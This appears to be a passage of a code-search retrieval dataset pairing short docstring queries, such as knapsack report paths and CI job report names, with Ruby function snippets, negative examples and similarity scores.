"def prepare_image\n images_for_job = []\n images = []\n @images_from_index = row.slice(config['IMAGE']['image_file_name'][0]..-1).compact\n @images_from_index = @images_from_index.collect{|file| file.include?('.') ? \\\n file: file + \".#{@image_ext}\"}\n # identifying check and envelop images\n @check_image, @envelop_image = call_parser_specific_method \"prepare_check_and_envelop_images\" if @version == 'BANK_OF_AMERICA' and facility.index_file_parser_type != \"Apria_bank\"\n envelop_image_to_loaded = (@envelop_image.upcase)[0...-4].split(\"_\") unless @envelop_image.blank?\n @image_folder = Dir.glob(\"#{@location}/**/#{config['IMAGE']['image_folder']}*\", File::FNM_CASEFOLD)\n @images_from_index.each do |file_name|\n unless @hash_envelop_images.has_key?(\"#{file_name}\")\n images_for_job << @image_folder.select{|file| File.basename(file).upcase == file_name.upcase}\n images_for_job << @image_folder.select{|file| file_name[0...-4] + \"B\" == File.basename(file)[0...-4].upcase}\n \n else\n unless @envelop_image.blank?\n images_for_job << @image_folder.select{|file| File.basename(file).upcase == @envelop_image.upcase ||\n File.basename(file)[0...-4].upcase == @envelop_image.upcase[0...-4] +'B'}\n if envelop_image_to_loaded.size == 2\n @image_folder = Dir.glob(\"#{@location}/**/#{config['IMAGE']['image_folder']}*\", File::FNM_CASEFOLD)\n images_for_job << @image_folder.select{|file| File.basename(file)[0...-4].upcase == envelop_image_to_loaded[0]+'B_'+ envelop_image_to_loaded[1]}\n end\n end\n end\n end\n images_for_job.flatten!\n # @initial_image_name = images_for_job[0]\n multi_page_facilities = ['CHRISTIAN HOSPITAL LABORATORY','GENOPTIX MEDICAL LABORATORY']\n images_for_job = convert_single_page_to_multipage(images_for_job) if multi_page_facilities.include? facility.name.strip.upcase\n f = nil\n images_for_job.each_with_index do |image_name,img_count|\n f = File.open(\"#{image_name}\",\"rb\")\n image = ImagesForJob.new(:image => f)\n parse_values(\"IMAGE\", image, File.basename(image_name))\n image_file_name = image.image_file_name.strip.split(\"\\\\\").last unless image.image_file_name.blank?\n # initial_image = images_for_job[0]\n @initial_image_name = image_file_name if img_count == 0\n path = Dir.glob(\"#{@location}/**/#{image_file_name}\").first\n count = %x[identify \"#{path}\"].split(image_file_name).length-1\n new_image_name = File.basename(\"#{path}\")\n if count>1\n dir_location = File.dirname(\"#{path}\")\n ext_name = File.extname(\"#{path}\")\n new_image_base_name = new_image_name.chomp(\"#{ext_name}\")\n if ((not ext_name.empty?) and (ext_name.casecmp(\".pdf\") == 0) ) then\n system \"pdftk '#{path}' burst output '#{dir_location}/#{new_image_base_name}_%d#{ext_name}'\"\n for image_count in 1..count\n image = ImagesForJob.new(:image_file_name=>\"#{new_image_base_name}_#{image_count}#{ext_name}\",:is_splitted_image=>true)\n image = update_image image\n image.save\n images << image\n end\n else\n InputBatch.split_image(count,path, dir_location, new_image_base_name)\n single_images = Dir.glob(\"#{@location}/**/*\").select{|file| InputBatch.get_single_image(file, new_image_base_name)}.sort\n single_images.each_with_index do |single_image, index|\n new_image_name = \"#{dir_location}/#{new_image_base_name}_#{index}#{ext_name}\"\n File.rename(single_image, new_image_name)\n image = ImagesForJob.create(:image => File.open(new_image_name), :image_number => @img_count,:is_splitted_image=>true)\n @img_count += 1\n images << image\n end\n end\n else\n # image = ImagesForJob.new(:image_file_name=>\"#{new_image_name}\")\n image = update_image image\n image.save\n images << image\n end\n f.close\n end\n return images\n end",
"def join(path, *src_files)\n block_list = src_files.map{|f|\n res = api_run(:file_meta, path: remote_file(f))\n JSON.parse res[:list].first[:block_list]\n }.flatten\n api_run :file_createsuperfile,\n\n { path: remote_file(path) },\n { param: { block_list: block_list }.to_json }\n end",
"def make_f3_postfit_shapes_task(channel)\n shape_file = \"results/#{$jobid}/plots/#{channel}/f3/postfit/#{channel}_f3_postfit_shapes.root\"\n carddir = $carddir #makes a copy so that if $cardir changes this does not\n file shape_file => \"#{$carddir}/#{channel}/.pulls_computed\" do |t|\n sh \"mkdir -p `dirname #{t.name}`\"\n sh \"cp #{carddir}/#{channel}/shapes.root #{t.name}\" #FIXME this may create to rake some problems if next command fails!\n sh \"#{ENV['CMSSW_BASE']}/src/HiggsAnalysis/HiggsToTauTau/test/postfit.py #{t.name} #{$carddir}/#{channel}/120/vhtt_#{channel}.txt --verbose --bins #{$categories_map[channel].join(' ')} --fitresults #{$carddir}/#{channel}/120/out/mlfit.txt\"\n end\n return shape_file\nend",
"def import( logdir, outdir, namemap )\n urec_budsns = {}\n copied = 0\n existing = 0\n ignored = 0\n \n Dir.foreach( logdir ) do |logdir_fn|\n next if logdir_fn[0] == ?.\n accdir = \"#{logdir}/#{logdir_fn}\"\n Dir.foreach( accdir ) do |accdir_fn|\n next if accdir_fn[0] == ?.\n budnick = namemap[accdir_fn]\n if budnick\n buddir = \"#{accdir}/#{accdir_fn}\"\n Dir.foreach( buddir ) do |buddir_fn|\n if buddir_fn =~ /^(\\d\\d\\d\\d)(\\d\\d)(\\d\\d)\\.log$/\n logfile = \"#{buddir}/#{buddir_fn}\"\n y = $1 ; m = $2 ; d = $3\n destdir = \"#{outdir}/#{y}/#{m}\"\n destfile = \"#{destdir}/#{budnick}-#{y}.#{m}.#{d}.xml\"\n if File.exist?( destfile )\n existing += 1\n else\n FileUtils.mkdir_p( destdir )\n sys('cp','-al',logfile,destfile)\n copied += 1\n end\n end\n end\n else\n ignored += 1\n urec_budsns[accdir_fn] = accdir_fn\n end\n end\n end\n \n if urec_budsns.length > 0\n STDERR.puts \"Skipping unrecognised buddies: \"+urec_budsns.values.join(', ')\n end\n STDERR.puts \"#{copied} files copied\"\n STDERR.puts \"#{existing} files already existing\"\n STDERR.puts \"#{ignored} files ignored\"\nend",
"def merge_rspec_reports\n reports = Dir.glob(\"./output/rspec*.html\")\n unless reports.empty?\n report_merger reports, REPORT if reports.count > 1\n end\nend",
"def copy_scale_results(scenario)\n puts \"Getting results for scenario: #{scenario}\"\n puts\n\n # create scale scenario result folder\n scale_results_parent_dir = \"results/scale/PERF_SCALE_#{@scale_timestamp}\"\n scale_result_dir = \"#{scale_results_parent_dir}/#{scenario.gsub('.json', '')}\"\n FileUtils.mkdir_p scale_result_dir\n\n # copy metric\n remote_result_dir = \"root/gatling-puppet-load-test/simulation-runner/results\"\n metric_results = \"#{@archive_root}/#{metric.hostname}/#{remote_result_dir}/#{@dir_name}\"\n FileUtils.copy_entry metric_results, \"#{scale_result_dir}/metric\"\n\n # copy master\n master_results = \"#{@archive_root}/#{master.hostname}\"\n log_filename = \"atop_log_#{scenario.downcase.gsub('.json', '_json')}\"\n\n # copy only the logs for this iteration (the dir contains logs from all previous iterations)\n FileUtils.mkdir_p \"#{scale_result_dir}/master\"\n atop_files = Dir.glob(\"#{master_results}/#{log_filename}*\")\n atop_files.each do |file|\n FileUtils.copy_file file, \"#{scale_result_dir}/master/#{File.basename(file)}\"\n end\n\n # copy stats\n global_stats_path = \"#{scale_result_dir}/metric/js/global_stats.json\"\n stats_path = \"#{scale_result_dir}/metric/js/stats.json\"\n json_dir = \"#{scale_results_parent_dir}/json\"\n FileUtils.mkdir_p json_dir\n FileUtils.copy_file global_stats_path, \"#{json_dir}/#{scenario.gsub('.json', 'global_stats.json')}\"\n FileUtils.copy_file stats_path, \"#{json_dir}/#{scenario.gsub('.json', 'stats.json')}\"\n\n # copy puppet-metrics-collector to scale results dir (this iteration) and parent dir (entire scale run)\n src = File.join(@archive_root, PUPPET_METRICS_COLLECTOR_DIR_NAME)\n FileUtils.copy_entry src, File.join(scale_result_dir, PUPPET_METRICS_COLLECTOR_DIR_NAME)\n FileUtils.copy_entry src, File.join(scale_results_parent_dir, PUPPET_METRICS_COLLECTOR_DIR_NAME)\n\n # copy epoch files\n # TODO: update to include in the bulk copy below when these have an extension\n FileUtils.copy_file \"#{@archive_root}/start_epoch\", \"#{scale_result_dir}/start_epoch\"\n FileUtils.copy_file \"#{@archive_root}/end_epoch\", \"#{scale_result_dir}/end_epoch\"\n\n # copy any csv/html/json/tar.gz/txt files\n res_files = Dir.glob(\"#{@archive_root}/*.{csv,html,json,tar.gz,txt}\")\n res_files.each do |file|\n FileUtils.copy_file file, File.join(scale_result_dir, File.basename(file))\n end\n end",
"def perform(*args)\n\n begin\n logger.info \"************ STARTING refresh coins ******************************************\"\n\n # # grab the main assets from kraken\n assets_json = get_coin_data('https://api.kraken.com/0/public/Assets', '')\n assets_keys = assets_json.keys\n\n\n # grab the asset pairs from kraken\n asset_pairs_json = get_coin_data('https://api.kraken.com/0/public/AssetPairs', '')\n asset_pairs_keys = asset_pairs_json.keys\n\n # grab the market cap and full name from a different source\n market_response = RestClient.get 'https://api.coinmarketcap.com/v1/ticker'\n market_json = JSON.parse(market_response)\n\n\n # loop thru the asset pairs that kraken gives us\n asset_pairs_keys.each do |key|\n\n # wrap every coin in a try catch - if it fails go to the next coin\n begin\n\n asset = {\"pair\" => key, \"base\" => asset_pairs_json[key]['base'], \n \"quote\" => asset_pairs_json[key]['quote']}\n\n # we only want pairs with a USD currency\n # using \"quote\" of ZUSD check to say it is a USD pair - is this a valid check??\n # could alse use a string parse of the last 3 chars and\n # see if it matches USD...\n # ALSO ignore the .d pairs - WHAT ARE THESE???\n # they seem to be duplicates of an existing pair without a .d at the end...\n if (asset['pair'].exclude? \".d\") && (asset['quote'] == \"ZUSD\") \n # && (asset['pair'].exclude? \"X\") #this line is for testing to cut down on our results\n\n # add the alternative name of the base using the asset listing we got\n # matching the asset pair to the asset using the asset key which is the name\n assets_keys.each do |key|\n if asset['base'] == key\n asset['altbase'] = assets_json[key]['altname']\n asset['display_decimals'] = assets_json[key]['display_decimals']\n end\n end\n\n # special case for bitcoin - kraken uses xbt, but everywhere else uses btc, \n # so set that here\n if (asset['altbase'] == 'XBT') \n asset['altbase'] = 'BTC'\n end\n\n # look up the assets compliance in the erc20 table\n erc20 = Erc20.where(symbol: asset['altbase']).first\n if (erc20)\n asset['erc20'] = erc20['flag']\n else\n asset['erc20'] = 'no data' \n end\n\n # lookup the full name of the coin using the list from the ticker - \n # matching based on the altBaseName (since kraken uses its own symbols...)\n market_json.each do |market|\n if market['symbol'] == asset['altbase']\n asset['name'] = market['name']\n asset['marketcap'] = market['market_cap_usd']\n end\n end\n\n\n # save the asset to the db model\n asset_db = Asset.new(pair: key, base: asset['base'], quote: asset['quote'], \n altbase: asset['altbase'], name: asset['name'], marketcap: asset['marketcap'],\n display_decimals: asset['display_decimals'],\n erc20: asset['erc20'])\n\n\n # ok now look up each coin individually and grab the data from kraken\n logger.info '--pulling coin data from kraken -- (' + key + ')' \n\n # grab additional data from kraken\n ticker_json = get_coin_data('https://api.kraken.com/0/public/Ticker?pair=' + key, key)\n\n if (ticker_json != nil)\n asset_db['last_traded'] = ticker_json['c'][0]\n end\n \n # grab the asks and bids info for this coin and add to the coin in the db\n depth_json = get_coin_data('https://api.kraken.com/0/public/Depth?pair=' + key, key)\n\n if (depth_json != nil)\n depth_json['asks'].each do |depth|\n asset_db.asks.build(price: depth[0], volume: depth[1], timestamp: depth[2])\n end\n end\n\n if (depth_json != nil)\n depth_json['bids'].each do |depth|\n asset_db.bids.build(price: depth[0], volume: depth[1], timestamp: depth[2])\n end\n end\n\n # begin\n # grab the spread info for this coin and add/replace it in the db\n spread_json = get_coin_data('https://api.kraken.com/0/public/Spread?pair=' + key, key)\n\n if (spread_json != nil)\n spread_json.each do |spread|\n asset_db.spreads.build(time: spread[0], bid: spread[1], ask: spread[2])\n end\n end\n\n # begin\n # grab the trade info for this coin and add/replace it in the db\n trade_json = get_coin_data('https://api.kraken.com/0/public/Trades?pair=' + key, key)\n\n if (trade_json != nil)\n trade_json.each do |trade|\n asset_db.trades.build(price: trade[0], volume: trade[1], time: trade[2], buysell: trade[3], \n marketlimit: trade[4], misc: trade[5])\n end\n end\n\n # wrap the delete and insert in a transaction so that there is no lag in case there is\n # a request to pull the data in the middle of a delete and insert\n # we are replacing the existing asset pair with the newly fetched/created one\n Asset.transaction do\n # first remove the coin (and child data) from the data before we insert our newly aquired coin info\n Asset.where(pair: key).destroy_all\n asset_db.save\n end\n\n end\n\n # if there is any issue when getting a coins data - usually the response errored or is null\n # then just move on to the next coin\n rescue => error\n logger.error 'SINGLE coin refresh error-----------: ' + key\n logger.error error\n next\n end\n end\n\n logger.info \"*********** FINISHED refresh coins ******************************************\"\n\n # if there is an error grabbing the coin list, then just restart the job \n rescue => error\n logger.error \"GENERAL coin list refresh error: -------------\" \n logger.error error\n raise StandardError.new(\"STANDARD ERROR\")\n end\n\n end",
"def collect_gce_metadata(key='/', date=Time.now.strftime(\"%F\"), dir=\"spec/fixtures/unit/util/gce\")\n require 'timeout'\n require 'net/http'\n require 'uri'\n\n # Local variables\n file_prefix = \"gce_metadata#{key.gsub(/[^a-zA-Z0-9]+/, '_')}\".gsub(/_+$/, '').gsub(/\\d{12}/,'111111111111')\n response = nil\n\n Dir.chdir(dir) do\n uri = URI(\"http://metadata/computeMetadata/v1beta1#{key}\")\n Timeout::timeout(4) do\n Net::HTTP.start(uri.host, uri.port) do |http|\n request = Net::HTTP::Get.new(uri.request_uri)\n response = scrub_gce(key.split(\"/\")[-1], http.request(request))\n\n write_gce_fixture(request, \"#{file_prefix}_request.yaml\")\n write_gce_fixture(response, \"#{file_prefix}_response.yaml\")\n end\n end\n end\n\n ##\n # if the current key is a directory, decend into all of the files. If the\n # current key is not, we've already written it out and we're done.\n if key.end_with? \"/\"\n response.read_body.lines.each do |line|\n collect_metadata(\"#{key}#{line.chomp}\", date, dir)\n end\n end\n end",
"def disk_all(cfg)\n ignored = cfg['ignore_fs'] || 'tmpfs'\n ignore_fs = \"fstype!~\\\"#{ignored}\\\"\"\n query = @client.percent_query_free(\n \"node_filesystem_files{#{ignore_fs}}\",\n \"node_filesystem_files_free{#{ignore_fs}}\"\n )\n prepare_metrics('disk_all', @client.query(query))\n end",
"def index\n # List all folders and files in project result directory\n case params[:type]\n when 'result'\n # Get data: folder, file, path\n @content = BrowsingFile.bind_folder \"automations/#{params[:fold]}/reports\"\n @file = BrowsingFile.bind_files \"automations/#{params[:fold]}/reports\"\n\n # Get paths and push to array\n path = \"<a href='/browsing_files/files?fold=automations/%s/reports'>%s result</a>\" % [params[:fold], params[:fold]]\n @@arr_path = [path]\n @path, @@temp_path = BrowsingFile.get_path_from_array @@arr_path\n when 'checksum_comparison'\n @content = BrowsingFile.bind_folder 'public/checksum_packages'\n @file = BrowsingFile.bind_files 'public/checksum_packages'\n\n # Get paths and push to array\n path = \"<a href='/browsing_files/files?fold=public/checksum_packages'>checksum results</a>\"\n @@arr_path = [path]\n @path, @@temp_path = BrowsingFile.get_path_from_array @@arr_path\n end\n end",
"def sync_staging\n get_jobs_directories.each do |job_dir|\n crawl_item = CrawlItem.find_by job_directory: job_dir\n\n if crawl_item.nil?\n CrawlItem.create(job_directory: job_dir, on_disk: true)\n else\n crawl_item.update(on_disk: true)\n end\n end\n end",
"def upload_to_s3(files, key_prefix)\n args = files.map do |file|\n {\n body: File.new(file),\n bucket: bucket_name,\n key: key(key_prefix, file.relative_path_from(report_path))\n }\n end\n\n Parallel.each(args, in_threads: 8) { |obj| client.put_object(obj) }\n end",
"def send_to_firecloud(file)\n begin\n Rails.logger.info \"Uploading #{file.bucket_location}:#{file.id} to Terra workspace: #{firecloud_workspace}\"\n was_gzipped = FileParseService.compress_file_for_upload(file)\n opts = was_gzipped ? { content_encoding: 'gzip' } : {}\n remote_file = ApplicationController.firecloud_client.execute_gcloud_method(\n :create_workspace_file, 0, bucket_id, file.upload.path, file.bucket_location, opts\n )\n # store generation tag to know whether a file has been updated in GCP\n Rails.logger.info \"Updating #{file.bucket_location}:#{file.id} with generation tag: #{remote_file.generation} after successful upload\"\n file.update(generation: remote_file.generation)\n Rails.logger.info \"Upload of #{file.bucket_location}:#{file.id} complete, scheduling cleanup job\"\n # schedule the upload cleanup job to run in two minutes\n run_at = 2.minutes.from_now\n Delayed::Job.enqueue(UploadCleanupJob.new(file.study, file, 0), run_at:)\n Rails.logger.info \"cleanup job for #{file.bucket_location}:#{file.id} scheduled for #{run_at}\"\n rescue => e\n ErrorTracker.report_exception(e, user, self, file)\n Rails.logger.error \"Unable to upload '#{file.bucket_location}:#{file.id} to study bucket #{bucket_id}; #{e.message}\"\n # notify admin of failure so they can push the file and relaunch parse\n SingleCellMailer.notify_admin_upload_fail(file, e).deliver_now\n end\n end",
"def new_files\n db = Database::Mysql.default\n table = Database::GenericTable.new(db,$table)\n # generate the hash structure\n files = Util.folders($type).inject({}) {|col,f| col[f] = []; col}\n puts files.inspect\n db.connect do\n select = [\"*\"]\n where = { processed: 0 }\n res = table.search_and select,where \n res.each_hash do |row|\n files[row[\"switch\"]] << row[\"file_name\"]\n end\n puts \"Found #{res.num_rows} new files to process in #{$table}...\" if $opts[:v]\n end\n files\nend",
"def uploadFile(key = \"\")\n key = 0 < key.length ? key : self.dispatched.fileName\n self.bucket.put(key, self.string)\n self.clear\n end"
] |
[
"0.6140814",
"0.58546835",
"0.57979655",
"0.57714075",
"0.5493003",
"0.5478963",
"0.53091407",
"0.52255744",
"0.5213097",
"0.51806384",
"0.51462024",
"0.51106644",
"0.50835323",
"0.5065028",
"0.50629234",
"0.5041598",
"0.5039722",
"0.5033797",
"0.4996107",
"0.49708122",
"0.49674925",
"0.49262837",
"0.49237543",
"0.49236715",
"0.4921235",
"0.49037609",
"0.48839206",
"0.48787308",
"0.48726484",
"0.48605126",
"0.48532596",
"0.4835412",
"0.48348662",
"0.48311755",
"0.48239368",
"0.4811303",
"0.48110965",
"0.48014832",
"0.47993585",
"0.47929668",
"0.4784952",
"0.47731897",
"0.47721648",
"0.4771035",
"0.4769835",
"0.47668198",
"0.47639167",
"0.47605118",
"0.47432834",
"0.47397357",
"0.47393554",
"0.47270447",
"0.47235152",
"0.47192168",
"0.47177413",
"0.46834603",
"0.4682921",
"0.46781495",
"0.467217",
"0.46720302",
"0.46682495",
"0.46639872",
"0.4663933",
"0.46524534",
"0.464889",
"0.46466178",
"0.46458253",
"0.46419638",
"0.46350956",
"0.46322644",
"0.46307123",
"0.4630659",
"0.46159157",
"0.46106696",
"0.46007866",
"0.4597367",
"0.45971486",
"0.4592535",
"0.4588223",
"0.4579948",
"0.45776027",
"0.4576565",
"0.45763597",
"0.457465",
"0.45691288",
"0.45632306",
"0.45581836",
"0.45565537",
"0.4556019",
"0.45547587",
"0.45532805",
"0.45519462",
"0.4548395",
"0.45414838",
"0.4536035",
"0.45343575",
"0.4531778",
"0.45283347",
"0.45238274",
"0.45220903"
] |
0.7857947
|
0
|
Base path of knapsack report
|
def report_base_path
@report_base_path ||= "knapsack"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pathBaseSummary()\n return \"#{@resultBaseDir}/#{getConf(:basenameSummary)}\" ;\n end",
"def base_path\n super.concat \"/application_plans/#{application_plan['id']}/metrics/#{metric['id']}/limits\"\n end",
"def app_thinning_size_report_path\n Gym.cache[:app_thinning_size_report] ||= File.join(temporary_output_path, \"App Thinning Size Report.txt\")\n end",
"def base_dir_for_path_parameters; end",
"def basepath; end",
"def path\n @base\n end",
"def fichier_de_donnees_pour(nb_items)\n \"../testdata/stock_options_#{nb_items/1024}K.txt\"\nend",
"def base_path\n Dir.pwd + \"/\"\n end",
"def base_path(type = 'import')\n ENV['HYKU_MULTITENANT'] ? File.join(Bulkrax.send(\"#{type}_path\"), Site.instance.account.name) : Bulkrax.send(\"#{type}_path\")\n end",
"def base_path\n Settings.form526_backup.url\n end",
"def pathBaseSpeed()\n return \"#{@resultBaseDir}/#{getConf(:basenameSpeed)}\" ;\n end",
"def generatedReportFolder\n currentData, currentTime = DateTime.now.strftime(\"%Y_%m_%d %H_%M\").split(' ')\n path = \"#{$ROOT}/../output\"\n creatFolder(path)\n path += \"/#{currentData}\"\n creatFolder(path)\n path += \"/#{currentTime}\"\n creatFolder(path)\n path\n end",
"def base_path\n super.concat \"/services/#{@service['id']}/metrics\"\n end",
"def path()\n\t\t\t\t@basePath + \"/\" + hierarchy().join( \"/\" )\n\t\t\tend",
"def relative_pallet_path_for(element) \n sub_path = @sub_path.to_s\n sub_path = sub_path[1..-1] + '/' unless sub_path.blank?\n return sub_path << element\n end",
"def data_bags_path\n\t# These can occur on suite-level, provisioner-level, verifier or at the default location\n kitchen_provisioner_config[:data_bags_path] || kitchen_verifier_config[:data_bags_path] || File.join('test', 'data_bags')\n end",
"def base_path\n super.concat \"/services/#{@service['id']}/metrics/#{@metric['id']}/methods\"\n end",
"def template_base_path\n @template_base_path ||= Inkblot.vendor_path('templates')\n end",
"def base_path\n super.concat '/account_plans'\n end",
"def base_path\n Settings.forms_api_benefits_intake.url\n end",
"def reports_path; end",
"def reports_path; end",
"def base_path\n super.concat \"/services/#{@service['id']}/service_plans\"\n end",
"def base_template_path\n File.join(Rails.root, 'config', 'default_data', 'master-template.xlsx')\n end",
"def base_path\n @base_path ||= Dir.pwd\n end",
"def stocks_path(size)\n \"#{Rails.root}/db/stocks/#{size}.txt\"\n end",
"def base_path\n @base_path || self.class.base_path\n end",
"def default_test_base_path\n File.join(kitchen_root, Kitchen::DEFAULT_TEST_DIR)\n end",
"def output_path; end",
"def path\n \"#{File.join(job.path, number.to_s)}/\"\n end",
"def base_path\n raise NotImplementedError, \"Subclass #{self.class.name} of Configuration must implement base_path\"\n end",
"def base_path\n self.class.base_path\n end",
"def db_treasures_found_path\r\n db_path(\"treasures\")\r\n end",
"def base_path\n @base_path ||= server_path(File.expand_path(Dir.pwd))\n end",
"def statsd_base_path(env)\n if env.service_name && env.method_name\n \"rpc-server.#{env.service_name}.#{env.method_name}\".gsub('::', '.').downcase\n end\n end",
"def output_root\n ETL.config.core[:job][:data_dir]\n end",
"def statsd_base_path\n \"rpc-client.#{service}.#{method_name}\".gsub('::', '.').downcase\n end",
"def base_url\n GlobalConstant::CompanyOtherProductUrls.kit_root_url\n end",
"def root_file_path; end",
"def base_dir; end",
"def base_dir; end",
"def base_dir; end",
"def base_dir; end",
"def base_dir; end",
"def base_dir; end",
"def base_dir; end",
"def base_path\n if debug\n \"/#{debug_prefix}/\"\n else\n \"/#{digest_prefix}/\"\n end\n end",
"def base_path\n wiki.base_path\n end",
"def path_to_coverage_report\n require 'pathname'\n Pathname.new(\"#{Origen.root}/coverage/index.html\").relative_path_from(Pathname.pwd)\nend",
"def app_thinning_path\n Gym.cache[:app_thinning] ||= File.join(temporary_output_path, \"app-thinning.plist\")\n end",
"def out_path\n @out_path ||= File.join out_base, node.file_name\n end",
"def graph_relative_path\n File.join('qa_server', 'charts')\n end",
"def root\n default_path = if Dir.glob(\".ufo/.balancer/profiles/*\").empty?\n '.'\n else\n '.ufo'\n end\n path = ENV['BALANCER_ROOT'] || default_path\n Pathname.new(path)\n end",
"def base\n result = sphere.cache_path.join('chef')\n result.mkpath\n result\n end",
"def root_path\n File.join(\n assignment_offering.course_offering.storage_path,\n 'assignments',\n assignment_offering.assignment.url_part,\n user.email)\n end",
"def resultset_path\n File.join(SimpleCov.coverage_path, RESULTSET_FILENAME)\n end",
"def root_path_location\n dmptool_url = 'https://dmptool.org/' if Rails.env.production?\n dmptool_url = 'https://dmptool-dev.cdlib.org/' if dashboard_url.include?('-dev.cdlib.org')\n dmptool_url = 'https://dmptool-stg.cdlib.org/' unless dmptool_url.present?\n dmptool_url\n end",
"def relative_directory\n @relative_directory ||= \"_#{label}\"\n end",
"def default_path\n Pathname.pwd.join(*base_config_path, self.class.config_folder)\n end",
"def path\n File.join(@base, @name)\n end",
"def base_path\n [attachment_options[:path_prefix], attachment_path_id].join(\"/\")\n end",
"def default_path\n\t\t\"\\\"/#{self.ratable_type.pluralize.underscore}/#{self.ratable_id}/ratings/#{self.id}/\\\"\".html_safe\n\tend",
"def base_path(val=nil)\n if val\n @base_path = val\n else\n @base_path || default_base_path_name\n end\n end",
"def data_bags_path\n verify_path DATA_BAGS_PATH\n File.join @tar_contents_path, DATA_BAGS_PATH\n end",
"def base_path\n # starts out like \"users/index\"\n @view.virtual_path.sub(%r{/[^/]*$}, '')\n end",
"def path\n File.join(@base, @name)\n end",
"def path() end",
"def path() end",
"def path() end",
"def default_path\n \"archangel/\" + [version_name, \"asset.png\"].compact.join(\"_\")\n end",
"def base_dir=(_arg0); end",
"def base_dir=(_arg0); end",
"def base_dir=(_arg0); end",
"def base_dir=(_arg0); end",
"def base_dir=(_arg0); end",
"def base_dir=(_arg0); end",
"def base_dir=(_arg0); end",
"def base_dir=(_arg0); end",
"def staging_root\n Pathname.new(CookbookOmnifetch.cache_path).join(\".cache_tmp\", \"metadata-installer\")\n end",
"def root_path \n @root_path\n end",
"def base_dir_for_path_parameters\n @base_dir_for_path_parameters ||=\n if File.basename(loaded_path).start_with?('.rubocop') &&\n loaded_path != File.join(Dir.home, ConfigLoader::DOTFILE)\n File.expand_path(File.dirname(loaded_path))\n else\n Dir.pwd\n end\n end",
"def base_dir_for_path_parameters\n @base_dir_for_path_parameters ||=\n if File.basename(loaded_path).start_with?('.rubocop') &&\n loaded_path != File.join(Dir.home, ConfigLoader::DOTFILE)\n File.expand_path(File.dirname(loaded_path))\n else\n Dir.pwd\n end\n end",
"def base_path\n File.join(attachment_options[:path_prefix], attachment_path_id)\n end",
"def base_path\n @base_path ||= self.class.respond_to?(:base_path) ? self.class.base_path : Merb.dir_for(:public)\n end",
"def csv_output_path()\n return @base_path\n end",
"def data_file_full_path\n File.join(@data_lib.dir_name,\"#{@data_set_name}\")\n end",
"def spool_dir\n return pretty_path(File.join(Dir::COMMON_APPDATA, 'RightScale', 'spool'))\n end",
"def base_path path=nil\n if path\n @base_path = path\n end\n @base_path || default_base_path\n end",
"def root_path=(_arg0); end",
"def root_path=(_arg0); end",
"def root_path=(_arg0); end",
"def base_export_dir\n \"#{@directory.slug}_files\"\n end",
"def root\n '../' * file.count('/')\n end",
"def root\n settings[:basedir]\n end",
"def base_directory\n @base_directory\n end",
"def out_base\n return @out_base if @out_base\n @out_base = File.join ::Rails.root, 'tmp', ::Rails.env, 'compile'\n @out_base = File.join @out_base, node.tree_parent unless node.tree_parent.empty?\n out_base\n end",
"def _result_root\n\t\tresult_path = ResultPath.new\n\t\tresult_path.update @job\n\t\t@path_scheme = result_path.path_scheme\n\t\tresult_path['rootfs'] ||= 'debian-x86_64.cgz'\n\t\tresult_path['rootfs'] = rootfs_filename result_path['rootfs']\n\t\tresult_path['path_params'] = self.path_params\n\t\tresult_path._result_root\n\tend",
"def get_cache_base_path\n if @settings.cache.use_system_temp_dir\n path = Dir::tmpdir\n else\n path = @settings.cache.custom_cache_dir\n end\n return File.join(path, @settings.cache.name)\n end",
"def test_path\n File.join(root_path, \"test\")\n end",
"def path\n if @path.nil?\n self.path = @@default_cases\n end\n @path\n end"
] |
[
"0.66301197",
"0.6129114",
"0.60752475",
"0.6011144",
"0.59272826",
"0.5903291",
"0.58584666",
"0.582792",
"0.57376164",
"0.5731664",
"0.57311064",
"0.568675",
"0.56706345",
"0.56676203",
"0.5614115",
"0.55870783",
"0.55824566",
"0.5579267",
"0.55567247",
"0.5550666",
"0.5541111",
"0.5541111",
"0.55280286",
"0.5523564",
"0.55157584",
"0.545411",
"0.54501086",
"0.5438005",
"0.54349613",
"0.54275835",
"0.54217386",
"0.541391",
"0.53735346",
"0.53699714",
"0.5367735",
"0.5359572",
"0.53535813",
"0.5335383",
"0.53340626",
"0.53338253",
"0.53338253",
"0.53338253",
"0.53338253",
"0.53338253",
"0.53338253",
"0.53338253",
"0.5322326",
"0.5322039",
"0.53012633",
"0.5298867",
"0.52951753",
"0.5292938",
"0.5282126",
"0.5279656",
"0.52607906",
"0.52504635",
"0.5249171",
"0.52458006",
"0.52454895",
"0.52418935",
"0.5234844",
"0.5221953",
"0.5221393",
"0.52100444",
"0.5208374",
"0.52070904",
"0.520676",
"0.520676",
"0.520676",
"0.5195688",
"0.5189007",
"0.5189007",
"0.5189007",
"0.5189007",
"0.5189007",
"0.5189007",
"0.5189007",
"0.5189007",
"0.51851803",
"0.51665515",
"0.51625943",
"0.51625943",
"0.51612264",
"0.5160294",
"0.5157651",
"0.5157644",
"0.51565635",
"0.51514924",
"0.514612",
"0.514612",
"0.514612",
"0.5145888",
"0.5143161",
"0.5142649",
"0.51379704",
"0.51332694",
"0.51321554",
"0.5131655",
"0.5124754",
"0.51239914"
] |
0.853375
|
0
|
Report name Infer report name from ci job name Remove characters incompatible with gcs bucket naming from job names like ee:instanceparallel
|
def report_name
@report_name ||= ENV["CI_JOB_NAME"].split(" ").first.tr(":", "-")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def job_name\n @job_name ||= QA::Runtime::Env.ci_job_name&.gsub(%r{ \\d{1,2}/\\d{1,2}}, '')\n end",
"def trim_job_name(job_name)\n job_name = job_name.gsub('grid-', '');\n job_name = job_name.gsub('store-', '');\n job_name = job_name.gsub('sphere-', '');\n job_name = job_name.gsub('-public-deb', '');\n job_name = job_name.gsub('-private-deb', '');\n job_name = job_name.gsub('solr', 's');\n job_name = job_name.gsub('automation', 'am');\n job_name = job_name.gsub('webtests-production', 'wp');\n job_name = job_name.gsub('webtests-staging', 'ws');\n job_name = job_name.gsub('checkout', 'co');\n job_name = job_name.gsub('saucelabs', 'slabs');\n return job_name\nend",
"def job_name\n return settings[:job_name] if settings[:job_name]\n relevant_filename = args.compact.uniq.map { |path| File.basename(path, '.rb') }.join('-')\n \"#{relevant_filename}---#{input_paths}---#{output_path}\".gsub(%r{[^\\w/\\.\\-\\+]+}, '')\n end",
"def get_job_name(course, assessment, submission)\n \"#{course.name}_#{assessment.name}_#{submission.version}_#{submission.course_user_datum.email}\"\n end",
